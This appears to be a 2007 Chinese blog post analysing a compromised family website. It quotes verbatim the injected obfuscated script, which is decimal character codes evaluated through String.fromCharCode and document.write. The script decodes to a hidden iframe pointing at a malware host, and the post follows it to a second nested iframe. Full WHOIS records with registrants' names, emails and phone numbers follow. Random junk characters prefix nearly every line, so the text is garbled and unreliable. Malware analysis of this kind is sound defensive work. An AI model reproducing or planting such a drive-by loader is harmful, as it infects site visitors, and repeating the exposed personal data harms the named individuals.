首发在我的博客里面，
Xz"xp8Hc(6 -+W E9 http://www.areway.cn/?p=175 ^ 4=%~Yx 1SG^X-(GM/ <+:
PTG/(' 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
U,V +qnS cG 5u$B <script>t=’60,105,102,114,97,109,101,
Svm'ds7> 32,115,114,99,61,104,116,116,112,58,47,47,
.Ix[&+LsY 102,114,101,101,46,117,45,117,117,117,46,99,
%18%T{|$e 110,47,101,114,114,111,114,46,104,116,109,
I~ e,'] 32,119,105,100,116,104,61,49,48,48,32,104,
MLN+ BuS 101,105,103,104,116,61,48,62,60,47,105,102,
HAAU2A9B2 114,97,109,101,62′;
{Z#=pp vs t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
2{4f>,][ lMe+.P| <script>t=’60,105,102,114,97,109,101,32,115,
|D1TSv}rZD 114,99,61,104,116,116,112,58,47,47,102,114,
;]T;mb> 101,101,46,117,45,117,117,117,46,99,110,47,
:~' R| l 101,114,114,111,114,46,104,116,109,32,119,
5RR4jX] 105,100,116,104,61,49,48,48,32,104,101,105,
d8&T62Dnd4 103,104,116,61,48,62,60,47,105,102,114,97,
[p_<`gU? 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
MGH2z: document.write(t);</script>
z,(.` %h , nW)A/?} <html xmlns=”
$tDM
U3,W http://www.w3.org/1999/xhtml W ntolYd “>
=21m|8c <head>
&S8, -~U <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
6@I r|o <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
?fQ8Ff <title>首页 - 爱生活家庭网
b&* N ))E| SAr 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
NB3ar&.$S 转换字符串后的大概内容是（谁点击后果自付）：
O T .bXr~ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
!G;|~|fMV ISg-?h/ 查询玉米u-uuu.cn的详细信息：
:\~YbA Domain Name: u-uuu.cn
C&;m56 ROID: 20070901s10001s64972306-cn
r>J%Eu/O Domain Status: ok
4f'!,Q ; Registrant Organization: 王雷
ebhV;Q. Registrant Name: 王雷
oVY_|UujG Administrative Email:
czlovexs@126.com TsY
nsLQY Sponsoring Registrar: 北京万网志成科技有限公司
="
pNE# Name Server:ns.yovole.com
N[k l3h%q Name Server:ns1.yovole.com
X- `PF Registration Date: 2007-09-01 17:54
cRP !O|I`] Expiration Date: 2008-09-01 17:54
;Hn>Ew 最后PING了一下地址 都没有什么….
;OS EMgB1 H6< 3'P 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
A U<A\ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
x]vyt}oCmk <script language=”javascript” src=”
oW3Uyj http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script hI,+J> >
=1 zRm >m 这个玉米应该有可能是木马作者的：
V lS`m,:{ foafau.info的详细信息：
e(vnnv?R{ Access to INFO WHOIS information is provided to assist persons in
(/A
6kp? determining the contents of a domain name registration record in the
ksF4m_E>YB Afilias registry database. The data in this record is provided by
>w#&fd Afilias Limited for informational purposes only, and Afilias does not
VN]j*$5
guarantee its accuracy. This service is intended only for query-based
rN`-ak access. You agree that you will use this data only for lawful purposes
SbH} cu8 and that, under no circumstances will you use this data to: (a) allow,
K [i&!Z&
enable, or otherwise support the transmission by e-mail, telephone, or
CmdPa !4) facsimile of mass unsolicited, commercial advertising or solicitations
% S<))G to entities other than the data recipient’s own existing customers; or
$>hH{ (b) enable high volume, automated, electronic processes that send
)u]1j@Id queries or data to the systems of Registry Operator, a Registrar, or
:a_MT Afilias except as reasonably necessary to register domain names or
'3
JVUHn modify existing registrations. All rights reserved. Afilias reserves
6k; >:[p the right to modify these terms at any time. By submitting this query,
~{q;
- & you agree to abide by this policy.
N\85fPSMG| Domain ID:D22418703-LRMS
G4G<Ow)` Domain Name:FOAFAU.INFO
0r]-Ltvl?} Created On:20-Nov-2007 16:05:42 UTC
+5H1n (6) Last Updated On:20-Nov-2007 16:05:44 UTC
;up Yam" Expiration Date:20-Nov-2008 16:05:42 UTC
4v .i!U#
{ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
_vUId?9@+e Status:CLIENT DELETE PROHIBITED
;9hS_%ldX4 Status:CLIENT RENEW PROHIBITED
3q.HZfN~ Status:CLIENT TRANSFER PROHIBITED
7e6;
|? Status:CLIENT UPDATE PROHIBITED
Qk].^'\ Status:TRANSFER PROHIBITED
dl+:u}9M$ Registrant ID:GODA-040110615
ogG:Ai)90 Registrant Name:liu hong
WTUC\}#E\ Registrant Organization:
mw~$;64;a Registrant Street1:beijing
GW0e=Y=L R Registrant Street2:
;;mr?'R Registrant Street3:
\hZye20 Registrant City:beijing
d%#5roR4< Registrant State/Province:
QQQN}!xPj Registrant Postal Code:100000
'v%v*Ujf[ Registrant Country:CN
, b74 m Registrant Phone:+86.860108888777
\6vr)1~N> Registrant Phone Ext.:
~--F?KUnL Registrant FAX:
| yi#6!}^ Registrant FAX Ext.:
D}nIF7r2N Registrant Email:bbbshiji@163.com
~!"z`& Admin ID:GODA-240110615
wPr!. :MF Admin Name:liu hong
#=czqZw Admin Organization:
h{?cs%lZ Admin Street1:beijing
7a4h7/ Admin Street2:
W4]jx ] Admin Street3:
Qp~3DUM Admin City:beijing
isor%R! Admin State/Province:
J@o$V- KK Admin Postal Code:100000
}=s64O 9j Admin Country:CN
0"koZd,c Admin Phone:+86.860108888777
3W55 m@w Admin Phone Ext.:
U \(T<WX, Admin FAX:
07 7 wk Admin FAX Ext.:
7t|011< Admin Email:bbbshiji@163.com
73kI%nNB Billing ID:GODA-340110615
eI=:z/pd Billing Name:liu hong
e {}vT$- Billing Organization:
6yedl0@wa! Billing Street1:beijing
m-HBoN Billing Street2:
\ Z$MH`_nu Billing Street3:
?pkGejcQ Billing City:beijing
?d@zTAI Billing State/Province:
mZ#h p}\. Billing Postal Code:100000
G(MLq"R6U Billing Country:CN
9bu1Ax1M Billing Phone:+86.860108888777
b^WF
R Billing Phone Ext.:
"T' QbK0 Billing FAX:
}/M`G]wT# Billing FAX Ext.:
>JT^[i8[ Billing Email:bbbshiji@163.com
R)'[Tt`# R Tech ID:GODA-140110615
@T&w
n k Tech Name:liu hong
*m:'~\[u Tech Organization:
(? #"S67 Tech Street1:beijing
"~6IjW*/ Tech Street2:
M6"a
w6 Tech Street3:
Z>J3 DH Tech City:beijing
P7
R}oO_n: Tech State/Province:
4[n[Ch=lu Tech Postal Code:100000
koy0A/\% Tech Country:CN
ivJTE Tech Phone:+86.860108888777
Y (h (Z Tech Phone Ext.:
MsjC4(Xla. Tech FAX:
mjJ/rx{kbw Tech FAX Ext.:
- e_B Tech Email:bbbshiji@163.com
tW"s^r=95 Name Server:NS27.DOMAINCONTROL.COM
? io ,8 Name Server:NS28.DOMAINCONTROL.COM
ew*;mQd Name Server:
]`TX%Qni Name Server:
RKwuvVI Name Server:
!s47A"O&B Name Server:
-'RD%_ Name Server:
h3z9}' Name Server:
F{F SmUxzK Name Server:
(zIF2qY Name Server:
/[>zFYaQ Name Server:
&ej |DM6 Name Server:
ts ;C:.X Name Server:
,Zb_Pu y.?Q 接着下载每个文件里面的代码：
-59;Zn/ 一步一步看..
>3)AO04=; 
z-;yDB:~t 
js)I %Z 
xQ\S!py- 
E9:p A5H-j 
mM-7
j z 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
